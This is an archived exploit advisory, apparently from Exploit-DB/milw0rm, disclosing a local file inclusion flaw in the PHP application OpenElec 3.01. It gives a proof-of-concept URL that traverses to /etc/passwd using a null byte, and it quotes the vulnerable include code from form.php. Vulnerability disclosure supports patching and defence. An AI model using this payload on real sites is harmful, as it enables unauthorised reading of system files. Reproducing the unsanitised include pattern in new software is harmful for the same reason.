OpenElec 3.01 - 'obj' Local File Inclusion

EDB-ID:

6530


Author:

dun

Type:

webapps


Platform:

PHP

Date:

2008-09-22


  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #################################################################
 #  [ OpenElec <= v3.01 ]   Local File Inclusion Vulnerability   #
 #################################################################
 #
 # Script site: http://www.openelec.org/
 # Download: http://adullact.net/frs/?group_id=434
 #
 # Vuln: 
 # http://site.com/openelec/scr/form.php?obj=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./openelec/scr/form.php (lines: 27-32)
 #
 # ...
 # 	$obj = "";
 #	if (isset ($_GET ['obj']))
 #		$obj = $_GET ['obj'];
 #	//
 #  	if (file_exists ("../obj/".$obj.".class.php"))
 #       include ("../obj/".$obj.".class.php");	        // * LFI *
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-22]